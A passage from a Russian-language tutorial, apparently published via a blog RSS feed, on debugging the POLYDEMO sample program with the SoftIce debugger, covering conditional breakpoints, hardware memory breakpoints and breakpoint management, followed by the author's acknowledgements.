число 00404852 – это адрес, на который программа перейдет после завершения работы нашей функции (адрес возврата);<br />
число 00000730 – это дескриптор окна POLYDEMO (собственно то, что нас интересует);<br />
Теперь зная, где и что у нас передается в функцию, мы можем выставить условную точку останова. Для этого вызовем на редактирование точку останова, поставленную на функции LockWindowInfo:<br />
:BPE 0<br />
в нижней строке командного окна появиться строка:<br />
:BPX LockWindowInfo<br />
и курсор установиться в конце строки, теперь можете редактировать точку останова по своему усмотрению, в конце строки добавьте следующее условие: IF ESP->4 == 00000730 и нажмите Enter.<br />
Точка останова теперь будет выглядеть так:<br />
:BPX LockWindowInfo IF ESP->4 == 00000730<br />
То есть она будет срабатывать тогда, когда двойное слово по адресу ESP+4 будет равным числу 00000730, которое соответствует дескриптору окна POLYDEMO. Проверьте командой BL, соответствует ли точка останова заданной, запускайте приложение и убедитесь, что вся эта конструкция замечательно работает.<br />
Установим точку останова на доступ к первому двойному слову данных экземпляра окна POLYWINDOW. Как уже отмечалось выше, входным аргументом для функции LockWindowInfo является дескриптор окна, выходным адрес данных экземпляра окна. После срабатывания точки останова поставленной на функции LockWindowInfo с параметром соответствующим дескриптору окна POLYWINDOW, на выходе функции будем иметь адрес данных экземпляра окна POLYWINDOW, по этому адресу и поставим точку останова на доступ к памяти.<br />
Для того чтобы получить адрес данных экземпляра окна, выполним программу до строки с номером 57 (в файле WININFO.C):<br />
:G .57<br />
функция возвращает 32-битное значение (в нашем случае адрес) в регистре EAX, поэтому можно используя команду BPMD (BreakPoint Memory Dword) и значение адреса в регистре EAX, поставить точку останова на доступ к первом слову данных экземляра окна POLYDEMO:<br />
:BPMD EAX<br />
Эта команда использует регистры аппаратной отладки встроенные в процессор для отслеживания чтения и записи двойного слова по указанному линейному адресу. В данном случае это первое слово данных экземпляра окна POLYDEMO. Используйте команду BL что бы проверить правильность установки точки останова.<br />
:BL<br />
00) BPX LOCKWINDOWINFO IF ((ESP->4)==0&#215;00000730)<br />
01) BPMD #015F:0052006C RW DR3<br />
Точка останова с номером 0 установлена на исполнение функции LockWindowInfo и точка останова с номером 1 стоит на доступ к памяти по адресу #015F:0052006C.<br />
Отключите 0 точку останова командой BD (Breakpoint Disable):<br />
:BD 0<br />
В отличие от команды BC, которая удаляет точку останова, команда BD временно отключает точку, т.е. она не будет срабатывать, но ее в любой момент можно включить обратно командой BE (Breakpoint Enable). Отключенные точки останова выделяются звездочками рядом с порядковым номером точки останова.<br />
:BL<br />
00) * BPX LOCKWINDOWINFO IF ((ESP->4)==0&#215;00000730)<br />
01) BPMD #015F:0052006C RW DR3<br />
Запустите SoftIce командами X или G, когда окно POLYDEMO попытается получить доступ к первому двойному слову экземпляра данных окна, сработает точка останова и SoftIce всплывет, это будет происходить в функциях PolyRedraw и PolyDrawBez. Эти функции обращаются к полю nBezTotal, которое находиться по нулевому смещению в данных экземпляра окна POLYDEMO. Значение этого поля задает количество кривых одновременно выводимых в окно POLYDEMO.<br />
Примечание: Из-за особенностей архитектуры процессоров Intel перехват обращения к ячейки памяти произойдет после исполнения команды обращающейся к памяти, т.е. SoftIce осановиться на следующей команде.<br />
Сбросьте все точки останова командой BC * и выйдете из SoftIce.<br />
Если вы добрались до этих строк – значит вы отладили свою первую программу с помощью замечательного отладчика SOFTICE. Но возможности SoftIce не ограничиваются теми, которые мы здесь вкратце рассмотрели, они гораздо больше.<br />
Замеченные ошибки в версии 3.24:<br />
При отладке программы в Code Window неправильно дизассемблируются команды перехода ( JXX SHORT), т.е. стрелочка показывает направление перехода правильно, а в мнемонике он на 100H больше (или меньше – не помню).<br />
Автор выражает огромную благодарность всем тем, кто помогал в написании данного опуса : моей любимое девушке Наденьке; Эрнесту Полетаеву – за приведение в божеский вид того, что я написал и за подробные консультации; Михайлову Антону и Махонину Юре – за идею и возможность осуществления оной; Диме Петрасу – за то что он мой фидошный босс; и всем тем кого здесь нету :-))).</p>
Файл 7f5ddbf668be432bbaf47f6ed1d47c4b/sape.php не найден!]]></content:encoded>
			<wfw:commentRss>http://suspended.ru/2010/05/%d0%bd%d0%b0%d0%b7%d0%b2%d0%b0%d0%bd%d0%b8%d0%b5-281/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
